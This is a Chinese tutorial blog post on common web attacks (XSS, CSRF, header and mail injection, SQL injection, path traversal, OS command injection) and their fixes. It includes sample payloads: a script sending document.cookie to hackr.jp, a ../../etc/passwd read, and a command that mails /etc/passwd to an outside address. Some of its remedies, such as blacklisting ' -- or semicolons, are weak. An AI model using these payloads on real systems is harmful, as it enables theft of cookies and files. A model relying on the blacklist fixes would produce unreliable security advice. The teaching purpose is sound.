• web网络攻击解决方案


    原文地址:https://www.xingkongbj.com/blog/http/web-attack.html

    产生原因

    • HTTP 不具备安全功能。
    • 在客户端可以篡改请求。

    跨站脚本攻击 XSS

    攻击方式:

    • 通过提交的信息中带入 js 脚本或 html 标签。
    • 提前闭合标签,有些甚至不用特殊处理。
    • 执行操作或者引入三方 js 。
    正常请求:
    http: //example.jp/login?ID="haha"
    正常显示:
    <input type="text" name="ID" value="yama" />
    
    攻击请求:
    http: //example.jp/login?ID="><script>var+f=document.getElementById("login");</script>"
    攻击显示:
    <input type="text" name="ID" value=""><script>var+f=document.getElementById("login");</script>
    

    解决方案:

    • 对提交内容进行编译,“<” 转 “&lt;”, ">" 转 “&gt;”。防止文本解析成标签。

    跨站点伪造请求攻击 CSRF

    攻击方式:

    • 通过第三方网站,访问本网站的接口,导致携带本网站的 cookie 。
    • 隐匿的使用户进行操作。

    解决方案:

    • 方法一:验证 HTTP Referer 控制请求必须本网站发出。
    • 方法二:在请求地址中添加 token 并验证。
    • 方法三:在 HTTP 头中自定义属性并验证,第三方网站的请求禁止携带自定义头。

    URL 跳转漏洞攻击

    攻击方式:

    • 一般登录页面会在登录后,通过 URL 的参数进行回跳。
    • 第三方网站,通过提供正规的登录地址和错误的回跳地址。
    • 诱导用户以为安全登录。

    解决方案:

    • 对回跳的地址进行严格校验。
    • 不能只简单校验域名是否在地址中存在。

    攻击方式:

    • 引入三方恶意脚本,传输 cookie 到三方服务器。
    如下:
    var content = escape(document.cookie);
    document.write("&lt;img src=http: //hackr.jp/?");
    document.write(content);
    document.write(">");
    

    解决方案:

    • 保证引入脚本的安全,可以通过 CSP 对引入资源进行限制。

    HTTP 首部注入攻击

    攻击方式:

    • 通过 %0D%0A 截断代码,注入 http 头代码。
    Location: http: //example.com/a.cgi?q=101%0D%0ASet-Cookie:+SID=123456789
    
    %0D%0A 代表 HTTP 报文中的换行符,紧接着的是可强制将攻击者网站(http: //hackr.jp/)的会话 ID 设置成 SID=123456789 的 Set-Cookie 首部字段。首部字段 Set-Cookie 已生效,因此攻击者可指定修改任意的 Cookie 信息。通过和会话固定攻击(攻击者可使用指定的会话 ID)攻击组合,攻击者可伪装成用户。
    

    解决方案:

    • 对 %0D%0A 进行识别,并且剔除。

    HTTP 响应截断攻击

    攻击方式:

    • 通过 %0D%0A%0D%0A 截断代码,造成多余的空行,注入响应体代码。
    Location: http: //example.com/a.cgi?q=101%0D%0A%0D%0Aalert(1);
    
    HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。要将两个 %0D%0A%0D%0A 并排插入字符串后发送。利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。
    

    解决方案:

    • 对 %0D%0A 进行识别,并且剔除。

    SQL 注入攻击

    攻击方式:

    • 通过单引号字符加“--”,截断 sql 语句。
    正常请求:
    http: //example.jp/search?q=haha
    正常执行:
    SELECT * FROM bookTbl WHERE author = 'haha' and flag = 1;
    
    攻击请求:
    http: //example.jp/search?q=haha‘ --
    攻击显示:
    SELECT * FROM bookTbl WHERE author = 'haha' --’ and flag = 1;
    flag = 1 的条件被忽略
    

    解决方案:

    • 对 “‘ --” 进行识别,并且剔除。

    服务器文件攻击

    攻击方式:

    • 通过读取服务器文件,获取服务器重要文件。
    通过请求返回日志文件
    http: //example.com/read.php?log=../../etc/passwd
    
    查询字段为了读取攻击者盯上的 /etc/passwd 文件,会从 /www/log/ 目录开始定位相对路径。如果这份 read.php 脚本接受对指定目录的访问请求处理,那原本不公开的文件就存在可被访问的风险。
    

    解决方案:

    • 对最终的访问路径进行校验,只能访问最小目录。

    邮件首部注入攻击

    攻击方式:

    • 通过 %0D%0A 截断代码,追加邮件地址。
    • 通过 %0D%0A%0D%0A 截断代码,造成多余的空行,篡改邮件主体。
    bob@hackr.jp%0D%0ABcc: user@example.com
    
    %0D%0A 在邮件报文中代表换行符。一旦咨询表单所在的 Web 应用接收了这个换行符,就可能实现对 Bcc 邮件地址的追加发送,而这原本是无法指定的。
    
    bob @ hackr.jp%0D%0A%0D%0ATest Message
    
    使用两个连续的换行符就有可能篡改邮件文本内容并发送。
    再以相同的方法,就有可能改写 To 和 Subject 等任意邮件首部,或向文本添加附件等动作。
    

    解决方案:

    • 对 %0D%0A 进行识别,并且剔除。

    OS 命令注入攻击

    攻击方式:

    • 通过分号,截断语句,加入攻击语句。
    核心代码:
    my $adr = $q->param('mailaddress');
    open(MAIL, "| /usr/sbin/sendmail $adr");
    print MAIL "From: info @ example.com
    ";
    
    当传入 mailaddress 参数为 “; cat /etc/passwd | mail hack @ example.jp”
    
    会执行下面的语句:
    | /usr/sbin/sendmail ; cat /etc/passwd | mail hack @ example.jp
    将含有 Linux 账户信息 /etc/passwd 的文件,就以邮件形式发送给了 hack @ example.jp。
    

    解决方案:

    • 对分号进行识别,并报错。
  • 相关阅读:
    Windows中Lua环境配置记录
    《Programming in Lua 3》读书笔记(四)
    《Programming in Lua 3》读书笔记(三)
    《Programming in Lua 3》读书笔记(一)
    C++中的struct
    POJ 1080 Human Gene Functions
    POJ 3176 Cow Bowling
    POJ 2533 Longest Ordered Subsequence
    POJ 1260 Pearls
    POJ 1836 Alignment
  • 原文地址:https://www.cnblogs.com/xingkongbj/p/9561972.html
Copyright © 2020-2023  润新知